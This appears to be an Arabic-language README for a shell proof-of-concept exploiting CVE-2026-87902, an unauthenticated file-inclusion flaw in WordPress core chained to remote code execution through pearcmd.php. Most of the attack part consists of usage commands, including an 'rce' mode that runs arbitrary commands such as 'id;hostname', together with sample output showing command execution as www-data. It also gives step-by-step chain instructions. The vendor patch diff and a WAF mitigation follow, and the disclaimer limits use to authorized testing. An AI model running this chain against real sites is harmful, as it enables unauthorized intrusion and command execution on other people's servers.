Shell PoC لـ CVE-2026-87902، وهو LFI غير مصادق عليه في نواة WordPress عبر حل قوالب الصفحات يتسلسل إلى RCE من خلال pearcmd.php.
| المكوّن | نواة ووردبريس (wp-includes/template.php) |
| النوع | CWE-98 — تضمين ملفات PHP (LFI ← RCE) |
| المتأثر | WordPress < 7.1.2 (فرع 7.0 تم إصلاحه في 7.0.6؛ الإصدارات المرتجعة 6.x تعتمد على الفرع) |
| المُصلَح | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| إثبات المفهوم | poc.sh |
تُضيف الدالة get_page_template() القيمة page-{urldecode(pagename)}.php إلى تسلسل قوالب الصفحات عندما
يحتوي متغير الاستعلام pagename على محارف مُرمَّزة بنسبة مئوية، وتقوم الدالة locate_template()
بحل المرشح باستخدام file_exists() / require دون التحقق من بقاء المسار
داخل القالب النشط. لذلك يمكن لمهاجم غير مُصادَق عليه تضمين وتنفيذ ملف .php محلي
مقروء خارج القالب النشط.
الشروط المسبقة:
< 7.1.2.page- (على سبيل المثال، قالب
Twenty Fourteen الرسمي يتضمن page-templates/). اسم القالب يبدأ دائمًا بـ page-،
لذا يجب أن يكون المكوّن الأول من المسار موجودًا.يتم ترميز الحمولة مرتين بحيث تحافظ الدالة sanitize_title_for_query() على الثمانيات %2e/%2f؛
ثم تعيد urldecode() داخل get_page_template() بناء ../ في وقت حل القالب.
إذا كان الخادم يحتوي أيضًا على pearcmd.php يمكن الوصول إليه وregister_argc_argv = On (القيمة الافتراضية في
صورة PHP الرسمية)، فإن السلسلة تتصاعد إلى تنفيذ تعليمات برمجية عن بُعد: تصبح سلسلة الاستعلام
وسائط سطر أوامر (argv) عبر فواصل +، وتكتب pear config-create ملف .php
يتحكم فيه المهاجم، ثم يضمّنه نفس ثغرة LFI.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
الخيارات: --page-id N، --ups N، --pearcmd PATH، --timeout N. يُشترط --authorized (أو
VDP_AUTHORIZED=1) لأي وضع قد يقوم بالكتابة عندما لا يكون الهدف هو localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
إذا تم تأكيد ثغرة LFI لكن PEAR غير موجود (أو كان register_argc_argv معطّلًا)، يُبلّغ السكربت
عن الشرط المسبق بوضوح ويخرج دون كتابة أي شيء (exit 3).
page-* وعمق اجتياز، اطلب
page-<dir>/../../…/wp-includes/version.php عبر معامل pagename
(POST، جسم فارغ — مطلوب لأن ووردبريس يعيد التوجيه الأساسي لـ GET/HEAD أولًا).200 بجسم 0 بايت (مقابل خط الأساس للصفحة الذي يبلغ عدة كيلوبايت) تُثبت التضمين.pear config-create عبر ثغرة LFI بحمولة ذاتية الحذف، ثم
ضمّن الملف المكتوب مع أمر مُقدَّم في الطلب.إصلاح المورّد في 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
بالإضافة إلى فحص احتواء realpath() في locate_template()
(_wp_is_template_path_allowed()). يحتوي wordpress-7.0.6 على الإصلاح المطابق بايتًا ببايت.
pagename التي تحتوي على تسلسلات اجتياز المسار (..، %2e%2e،
%252e%252e) على كل طرق HTTP، أو أزل الشرط المسبق الخاص بدليل القالب page-*.لاختبارات الأمان المصرّح بها فقط. تستخدم أوضاع RCE حمولة ذاتية الحذف ولا تكتب أي شيء يتجاوز ملف العلامة المؤقت الخاص بها، لكنها مع ذلك تنفّذ أوامر على الهدف — شغّلها فقط حيث لديك إذن صريح.